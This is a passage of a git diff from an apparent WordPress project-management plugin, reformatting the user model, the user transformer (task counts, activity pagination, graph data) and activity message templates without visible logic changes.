$this->user_ids = [$results->id]; + } + + return $this; + } + + /** + * Set table name as class object + */ + private function set_table_name() { + $this->tb_user = pm_tb_prefix() . 'users'; + } +} diff --git a/src/User/Models/User.php b/src/User/Models/User.php index b697a6635..a333ac4b7 100644 --- a/src/User/Models/User.php +++ b/src/User/Models/User.php @@ -1,66 +1,66 @@ -getConnection()->db->users; - } - - public function roles() { - return $this->belongsToMany( 'WeDevs\PM\Role\Models\Role', pm_tb_prefix() . 'pm_role_user', 'user_id', 'role_id' ) - ->withPivot('project_id', 'role_id'); - } - - public function projects() { - return $this->belongsToMany( 'WeDevs\PM\Project\Models\Project', pm_tb_prefix() . 'pm_role_user', 'user_id', 'project_id' ); - } - - public function tasks() { - return $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_assignees','assigned_to', 'task_id' ); - } - - public function activities () { - return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'actor_id' ); - } - - public function assignees() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Assignee', 'assigned_to' ); - } - - public function scopeMultisite( $q ) { - global $wpdb; - - if ( is_multisite() ) { - $user_meta_key = pm_user_meta_key(); - $usermeta_tb = $wpdb->base_prefix . 'usermeta'; - $users_tb = $wpdb->base_prefix . 'users'; - - $q->leftJoin( $usermeta_tb . ' as umeta', 'umeta.user_id', '=', $users_tb . '.ID') - ->where( 'umeta.meta_key', $user_meta_key ); - } - } -} +getConnection()->db->users; + } + + public function roles() { + return $this->belongsToMany( 'WeDevs\PM\Role\Models\Role', pm_tb_prefix() . 'pm_role_user', 'user_id', 'role_id' ) + ->withPivot('project_id', 'role_id'); + } + + public function projects() { + return $this->belongsToMany( 'WeDevs\PM\Project\Models\Project', pm_tb_prefix() . 'pm_role_user', 'user_id', 'project_id' ); + } + + public function tasks() { + return $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_assignees','assigned_to', 'task_id' ); + } + + public function activities () { + return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'actor_id' ); + } + + public function assignees() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Assignee', 'assigned_to' ); + } + + public function scopeMultisite( $q ) { + global $wpdb; + + if ( is_multisite() ) { + $user_meta_key = pm_user_meta_key(); + $usermeta_tb = $wpdb->base_prefix . 'usermeta'; + $users_tb = $wpdb->base_prefix . 'users'; + + $q->leftJoin( $usermeta_tb . ' as umeta', 'umeta.user_id', '=', $users_tb . '.ID') + ->where( 'umeta.meta_key', $user_meta_key ); + } + } +} diff --git a/src/User/Transformers/User_Transformer.php b/src/User/Transformers/User_Transformer.php index 2034def08..f2786f1d2 100644 --- a/src/User/Transformers/User_Transformer.php +++ b/src/User/Transformers/User_Transformer.php @@ -1,346 +1,346 @@ -project_id = (int) str_replace('projects/', '', $matches[0][0]); - } else { - $this->project_id = null; - } - - } else { - $this->project_id = $project_id; - - } - } - - public function transform( $user ) { - if (!$user) { - return []; - } - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - 'github' => get_user_meta($user->ID,'github' ,true), - 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) - ]; - - if ( $user->pivot && $user->pivot->assigned_at ) { - $data['completed_at'] = format_date( $user->pivot->completed_at ); - $data['started_at'] = format_date( $user->pivot->started_at ); - $data['assigned_at'] = format_date( $user->pivot->assigned_at ); - $data['status'] = (int) $user->pivot->status; - } - - return $data; - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() { - return apply_filters( "pm_user_transformer_default_includes", $this->defaultIncludes ); - } - - public function includeRoles( $user ) { - if (!$user) { - return null; - } - - - //pmpr( $request_uri ); die(); - $project_id = $this->project_id; - if ( !$project_id ) { - $roles = $user->roles->unique( 'id' )->all(); - } else { - $roles = $user->roles->filter( function( $role ) use ( $project_id ) { - return $role['pivot']['project_id'] == $project_id; - }); - } - - return $this->collection( $roles, new Role_Transformer ); - } - - public function includeMeta ( User $user ) { - return $this->item ('', function () use ( $user ) { - $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); - - $project_ids = User_Role::where( 'user_id', $user->ID )->get(['project_id'])->toArray(); - $project_ids = wp_list_pluck( $project_ids, 'project_id' ); - - if ( pm_has_manage_capability() ){ - $tasks = $user->tasks()->whereHas('boards') - ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) - ->parent() - ->get(); - } else { - $tasks = $user->tasks()->whereHas('boards') - ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) - ->parent() - ->doesntHave( 'metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - }); - $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - })->get(); - } - - $total_current_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $today ) { - if ( empty( $item['due_date'] ) ) { - return true; - } - return date( 'Y-m-d', strtotime( $item['due_date'] ) ) >= $today; - }); - - $total_outstanding_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $today ) { - if ( ! empty( $item['due_date'] ) ) { - return date( 'Y-m-d', strtotime( $item['due_date'] ) ) < $today; - } - }); - - $start_at = empty( $_GET['start_at'] ) ? false : pm_clean( $_GET['start_at'] ); - $due_date = empty( $_GET['due_date'] ) ? false : pm_clean( $_GET['due_date'] ); - - if ( ! empty( $start_at ) && ! empty( $due_date ) ) { - - $total_current_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { - - $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); - $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); - - if ( - $today <= $item_due_date - && - $item_start_at >= $start_at - && - $item_due_date <= $due_date - ) { - return true; - } else if ( $item_start_at >= $start_at && empty( $item_due_date ) ) { - return true; - } - - }); - - $total_outstanding_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { - - $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); - $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); - - if ( - !empty( $item_due_date ) - && - $today > $item_due_date - && - $item_start_at >= $start_at - && - $item_due_date <= $due_date - ) { - return true; - } - - }); - - $total_complete_tasks = $tasks->where( 'status', 'complete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { - - $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); - $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); - - if ( - $item_start_at >= $start_at - && - $item_due_date <= $due_date - ) { - return true; - } - - }); - - $total_complete_tasks = $total_complete_tasks->count(); - $total_activity = $user->activities->where('created_at', '>=', $start_at )->where('created_at', '<=', $due_date )->count(); - } else { - $total_complete_tasks = $tasks->toBase()->where( 'status', 'complete' )->count(); - $total_activity = $user->activities->count(); - } - - return [ - 'total_project' => $user->projects()->count(), - 'total_task' => $tasks->count(), - 'total_complete_tasks' => $total_complete_tasks, - 'total_current_tasks' => $total_current_tasks->count(), - 'total_outstanding_tasks' => $total_outstanding_tasks->count(), - 'total_activity' => $total_activity - ]; - } ); - } - - public function includeTasks( User $item ) { - $project_ids = User_Role::where( 'user_id', $item->ID)->get(['project_id'])->toArray(); - $project_ids = wp_list_pluck( $project_ids, 'project_id' ); - - if ( !pm_has_manage_capability() ){ - - $tasks = $item->tasks() - ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) - ->parent() - ->doesntHave( 'metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - }); - - $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - }) - ->get(); - }else { - $tasks = $item->tasks()->parent()->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids)->get(); - } - - - return $this->collection( $tasks, new Task_Transformer ); - } - - public function includeProjects( User $item ) { - $projects = $item->projects; - - return $this->collection( $projects, new Project_Transformer ); - } - - public function includeActivities( User $item ) { - - $project_ids = User_Role::where( 'user_id', $item->ID )->get(['project_id'])->toArray(); - $project_ids = wp_list_pluck( $project_ids, 'project_id' ); - - $page = isset( $_GET['mytask_activities_page'] ) ? $_GET['mytask_activities_page'] : 1; - $per_page = isset( $_GET['mytask_activities_per_page'] ) ? $_GET['mytask_activities_per_page'] : 15; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $activities = $item->activities() - ->whereIn( 'project_id', $project_ids ) - ->orderBy( 'created_at', 'DESC' ) - ->paginate( $per_page, ['*'] ); - - $activities_collection = $activities->getCollection(); - $resource = $this->collection( $activities_collection, new Activity_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); - - return $resource; - } - - public function includeGraph ( User $item ) { - $start_at = empty( $_GET['start_at'] ) ? false : pm_clean( $_GET['start_at'] ); - $due_date = empty( $_GET['due_date'] ) ? false : pm_clean( $_GET['due_date'] ); - - if ( $start_at && $due_date ) { - $first_day = date( 'Y-m-d', strtotime( $start_at ) ); - $today = date( 'Y-m-d', strtotime( $due_date ) ); - } else { - $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); - $first_day = date( 'Y-m-d', strtotime('-1 month') ); - } - - $graph_data = []; - - $completed_tasks = $item->tasks - ->toBase() - ->where('status', 'complete'); - - $assigned_tasks = $item->assignees->toBase(); - $activities = $item->activities->toBase(); - - for ( $dt = $first_day; $dt<=$today; $dt = date('Y-m-d', strtotime( $dt . '+1 day' ) ) ) { - - $dt_activities = $activities->filter( function($item) use ( $dt ) { - - return date( 'Y-m-d', strtotime( $item['created_at'] ) ) == $dt; - } ); - - $dt_assigned_tasks = $assigned_tasks->filter( function ( $item ) use ( $dt ) { - return date( 'Y-m-d', strtotime( $item['assigned_at'] ) ) == $dt; - }); - - $dt_completed_tasks = $completed_tasks->filter( function ( $item ) use ( $dt ) { - return date( 'Y-m-d', strtotime( $item['updated_at'] ) ) == $dt; - }); - - $graph_data[] = [ - 'date_time' => format_date( $dt ), - 'completed_tasks' => $dt_completed_tasks->count(), - 'assigned_tasks' => $dt_assigned_tasks->count(), - 'activities' => $dt_activities->count() - ]; - } - - return $this->collection( $graph_data, function ( $item ) { - return [ - 'date_time' => $item['date_time'], - 'completed_tasks' => $item['completed_tasks'], - 'assigned_tasks' => $item['assigned_tasks'], - 'activities' => $item['activities'], - ]; - } ); - } -} +project_id = (int) str_replace('projects/', '', $matches[0][0]); + } else { + $this->project_id = null; + } + + } else { + $this->project_id = $project_id; + + } + } + + public function transform( $user ) { + if (!$user) { + return []; + } + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + 'github' => get_user_meta($user->ID,'github' ,true), + 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) + ]; + + if ( $user->pivot && $user->pivot->assigned_at ) { + $data['completed_at'] = format_date( $user->pivot->completed_at ); + $data['started_at'] = format_date( $user->pivot->started_at ); + $data['assigned_at'] = format_date( $user->pivot->assigned_at ); + $data['status'] = (int) $user->pivot->status; + } + + return $data; + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() { + return apply_filters( "pm_user_transformer_default_includes", $this->defaultIncludes ); + } + + public function includeRoles( $user ) { + if (!$user) { + return null; + } + + + //pmpr( $request_uri ); die(); + $project_id = $this->project_id; + if ( !$project_id ) { + $roles = $user->roles->unique( 'id' )->all(); + } else { + $roles = $user->roles->filter( function( $role ) use ( $project_id ) { + return $role['pivot']['project_id'] == $project_id; + }); + } + + return $this->collection( $roles, new Role_Transformer ); + } + + public function includeMeta ( User $user ) { + return $this->item ('', function () use ( $user ) { + $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); + + $project_ids = User_Role::where( 'user_id', $user->ID )->get(['project_id'])->toArray(); + $project_ids = wp_list_pluck( $project_ids, 'project_id' ); + + if ( pm_has_manage_capability() ){ + $tasks = $user->tasks()->whereHas('boards') + ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) + ->parent() + ->get(); + } else { + $tasks = $user->tasks()->whereHas('boards') + ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) + ->parent() + ->doesntHave( 'metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + }); + $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + })->get(); + } + + $total_current_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $today ) { + if ( empty( $item['due_date'] ) ) { + return true; + } + return date( 'Y-m-d', strtotime( $item['due_date'] ) ) >= $today; + }); + + $total_outstanding_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $today ) { + if ( ! empty( $item['due_date'] ) ) { + return date( 'Y-m-d', strtotime( $item['due_date'] ) ) < $today; + } + }); + + $start_at = empty( $_GET['start_at'] ) ? false : pm_clean( $_GET['start_at'] ); + $due_date = empty( $_GET['due_date'] ) ? false : pm_clean( $_GET['due_date'] ); + + if ( ! empty( $start_at ) && ! empty( $due_date ) ) { + + $total_current_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { + + $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); + $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); + + if ( + $today <= $item_due_date + && + $item_start_at >= $start_at + && + $item_due_date <= $due_date + ) { + return true; + } else if ( $item_start_at >= $start_at && empty( $item_due_date ) ) { + return true; + } + + }); + + $total_outstanding_tasks = $tasks->where( 'status', 'incomplete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { + + $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); + $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); + + if ( + !empty( $item_due_date ) + && + $today > $item_due_date + && + $item_start_at >= $start_at + && + $item_due_date <= $due_date + ) { + return true; + } + + }); + + $total_complete_tasks = $tasks->where( 'status', 'complete' )->filter( function( $item ) use ( $start_at, $due_date, &$total ) { + + $item_due_date = empty( $item['due_date'] ) ? '' : date( 'Y-m-d', strtotime( $item['due_date'] ) ); + $item_start_at = empty( $item['start_at'] ) ? date( 'Y-m-d', strtotime( $item['created_at'] ) ) : date( 'Y-m-d', strtotime( $item['start_at'] ) ); + + if ( + $item_start_at >= $start_at + && + $item_due_date <= $due_date + ) { + return true; + } + + }); + + $total_complete_tasks = $total_complete_tasks->count(); + $total_activity = $user->activities->where('created_at', '>=', $start_at )->where('created_at', '<=', $due_date )->count(); + } else { + $total_complete_tasks = $tasks->toBase()->where( 'status', 'complete' )->count(); + $total_activity = $user->activities->count(); + } + + return [ + 'total_project' => $user->projects()->count(), + 'total_task' => $tasks->count(), + 'total_complete_tasks' => $total_complete_tasks, + 'total_current_tasks' => $total_current_tasks->count(), + 'total_outstanding_tasks' => $total_outstanding_tasks->count(), + 'total_activity' => $total_activity + ]; + } ); + } + + public function includeTasks( User $item ) { + $project_ids = User_Role::where( 'user_id', $item->ID)->get(['project_id'])->toArray(); + $project_ids = wp_list_pluck( $project_ids, 'project_id' ); + + if ( !pm_has_manage_capability() ){ + + $tasks = $item->tasks() + ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) + ->parent() + ->doesntHave( 'metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + }); + + $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + }) + ->get(); + }else { + $tasks = $item->tasks()->parent()->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids)->get(); + } + + + return $this->collection( $tasks, new Task_Transformer ); + } + + public function includeProjects( User $item ) { + $projects = $item->projects; + + return $this->collection( $projects, new Project_Transformer ); + } + + public function includeActivities( User $item ) { + + $project_ids = User_Role::where( 'user_id', $item->ID )->get(['project_id'])->toArray(); + $project_ids = wp_list_pluck( $project_ids, 'project_id' ); + + $page = isset( $_GET['mytask_activities_page'] ) ? $_GET['mytask_activities_page'] : 1; + $per_page = isset( $_GET['mytask_activities_per_page'] ) ? $_GET['mytask_activities_per_page'] : 15; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $activities = $item->activities() + ->whereIn( 'project_id', $project_ids ) + ->orderBy( 'created_at', 'DESC' ) + ->paginate( $per_page, ['*'] ); + + $activities_collection = $activities->getCollection(); + $resource = $this->collection( $activities_collection, new Activity_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); + + return $resource; + } + + public function includeGraph ( User $item ) { + $start_at = empty( $_GET['start_at'] ) ? false : pm_clean( $_GET['start_at'] ); + $due_date = empty( $_GET['due_date'] ) ? false : pm_clean( $_GET['due_date'] ); + + if ( $start_at && $due_date ) { + $first_day = date( 'Y-m-d', strtotime( $start_at ) ); + $today = date( 'Y-m-d', strtotime( $due_date ) ); + } else { + $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); + $first_day = date( 'Y-m-d', strtotime('-1 month') ); + } + + $graph_data = []; + + $completed_tasks = $item->tasks + ->toBase() + ->where('status', 'complete'); + + $assigned_tasks = $item->assignees->toBase(); + $activities = $item->activities->toBase(); + + for ( $dt = $first_day; $dt<=$today; $dt = date('Y-m-d', strtotime( $dt . '+1 day' ) ) ) { + + $dt_activities = $activities->filter( function($item) use ( $dt ) { + + return date( 'Y-m-d', strtotime( $item['created_at'] ) ) == $dt; + } ); + + $dt_assigned_tasks = $assigned_tasks->filter( function ( $item ) use ( $dt ) { + return date( 'Y-m-d', strtotime( $item['assigned_at'] ) ) == $dt; + }); + + $dt_completed_tasks = $completed_tasks->filter( function ( $item ) use ( $dt ) { + return date( 'Y-m-d', strtotime( $item['updated_at'] ) ) == $dt; + }); + + $graph_data[] = [ + 'date_time' => format_date( $dt ), + 'completed_tasks' => $dt_completed_tasks->count(), + 'assigned_tasks' => $dt_assigned_tasks->count(), + 'activities' => $dt_activities->count() + ]; + } + + return $this->collection( $graph_data, function ( $item ) { + return [ + 'date_time' => $item['date_time'], + 'completed_tasks' => $item['completed_tasks'], + 'assigned_tasks' => $item['assigned_tasks'], + 'activities' => $item['activities'], + ]; + } ); + } +} diff --git a/texts/activities.php b/texts/activities.php index 19c4efd0a..3c5ce20b6 100644 --- a/texts/activities.php +++ b/texts/activities.php @@ -1,335 +1,335 @@ - [ - __( '%1$s has created a project titled as %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_title'] - ], - 'update_project_title' => [ - __( '%1$s has updated project title from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_title_old', 'meta.project_title_new'] - ], - 'update_project_description' => [ - __( '%1$s has updated %2$s project description.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_title'] - ], - 'update_project_status' => [ - __( '%1$s has updated project status from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_status_old', 'meta.project_status_new'] - ], - 'update_project_budget' => [ - __( '%1$s has updated project budget from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_budget_old', 'meta.project_budget_new'] - ], - 'update_project_pay_rate' => [ - __('%1$s has updated project pay rate from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_pay_rate_old', 'meta.project_pay_rate_new'] - ], - 'update_project_est_completion_date' => [ - __( '%1$s has updated project est completion date from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_est_completion_date_old', 'meta.project_est_completion_date_new'] - ], - 'update_project_color_code' => [ - __( '%1$s has updated project color code from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_color_code_old', 'meta.project_color_code_new'] - ], - - // Activities on discussion board - 'create_discussion_board' => [ - __( '%1$s has created a discussion board titled as %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'delete_discussion_board' => [ - __( '%1$s has deleted a discussion board titled as %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.deleted_discussion_board_title'] - ], - 'update_discussion_board_title' => [ - __( '%1$s has updated the title of a discussion board from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title_old', 'meta.discussion_board_title_new'] - ], - 'update_discussion_board_description' => [ - __( '%1$s has updated the description of a discussion board, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'update_discussion_board_order' => [ - __( '%1$s has updated the order of a discussion board, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'update_discussion_board_status' => [ - __( '%1$s has updated the status of a discussion board, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - - // Activities on task list - 'create_task_list' => [ - __( '%1$s has created a task list titled as %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'delete_task_list' => [ - __( '%1$s has deleted a task list titled as %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.deleted_task_list_title'] - ], - 'update_task_list_title' => [ - __( '%1$s has updated the title of a task list from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title_old', 'meta.task_list_title_new'] - ], - 'update_task_list_description' => [ - __( '%1$s has updated the description of a task list, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'update_task_list_order' => [ - __( '%1$s has updated the order of a task list, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'archived_task_list' => [ - __( '%1$s has archived a task list, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'restore_task_list' => [ - __( '%1$s has restored a task list, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - - // Activities on milestone - 'create_milestone' => [ - __( '%1$s has created a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'delete_milestone' => [ - __( '%1$s has deleted a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.deleted_milestone_title'] - ], - 'update_milestone_title' => [ - __( '%1$s has updated the title of a milestone from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title_old', 'meta.milestone_title_new'] - ], - 'update_milestone_description' => [ - __( '%1$s has updated the description of a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'update_milestone_order' => [ - __( '%1$s has updated the order of a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'update_milestone_status' => [ - __( '%1$s has updated the status of a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title'] - ], - - // Activities on task - 'create_task' => [ - __( '%1$s has created a task, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title'] - ], - 'delete_task' => [ - __( '%1$s has deleted a task, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.deleted_task_title'] - ], - 'update_task_title' => [ - __( '%1$s has updated the title of a task from "%2$s" to "%3$s".', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title_old', 'meta.task_title_new'] - ], - 'update_task_description' => [ - __( '%1$s has updated the description of a task, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title'] - ], - 'update_task_estimation' => [ - __( '%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_estimation_old', 'meta.task_estimation_new'] - ], - 'update_task_start_at_date' => [ - __( '%1$s has updated the start date of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_start_at_new', 'meta.task_start_at_old'] - ], - 'update_task_due_date' => [ - __( '%1$s has updated the due date of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_due_date_new', 'meta.task_due_date_old'] - ], - 'update_task_complexity' => [ - __( '%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_complexity_old', 'meta.task_complexity_old'] - ], - 'update_task_priority' => [ - __( '%1$s has updated the priority of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_priority_old', 'meta.task_priority_new'] - ], - 'update_task_payable' => [ - __( '%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_payable_old', 'meta.task_payable_new'] - ], - 'update_task_recurrent' => [ - __( '%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_recurrent_old', 'meta.task_recurrent_new'] - ], - 'update_task_status' => [ - __( '%1$s has updated the status of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title', 'meta.task_status_old', 'meta.task_status_new'] - ], - - // Comment activities on task - 'comment_on_task' => [ - __( '%1$s has commented on a task, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_title'] - ], - 'update_comment_on_task' => [ - __( '%1$s has updated a comment on a task, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_title'] - ], - 'delete_comment_on_task' => [ - __( '%1$s has deleted a comment on a task, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_title'] - ], - 'reply_comment_on_task' => [ - __( '%1$s has replied a comment on a task, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_title'] - ], - 'update_reply_comment_on_task' => [ - __( '%1$s has updated a reply comment on a task, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_title'] - ], - 'delete_reply_comment_on_task' => [ - __( '%1$s has deleted a reply comment on a task, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_title'] - ], - - // Comment activities on task list - 'comment_on_task_list' => [ - __( '%1$s has commented on a task list, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'update_comment_on_task_list' => [ - __( '%1$s has updated a comment on a task list, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'delete_comment_on_task_list' => [ - __( '%1$s has deleted a comment on a task list, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'reply_comment_on_task_list' => [ - __( '%1$s has replied a comment on a task list, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'update_reply_comment_on_task_list' => [ - __( '%1$s has updated a reply comment on a task list, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_list_title'] - ], - 'delete_reply_comment_on_task_list' => [ - __( '%1$s has deleted a reply comment on a task list, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.task_list_title'] - ], - - // Comment activities on discussion board - 'comment_on_discussion_board' => [ - __( '%1$s has commented on a discussion board, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'update_comment_on_discussion_board' => [ - __( '%1$s has updated a comment on a discussion board, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 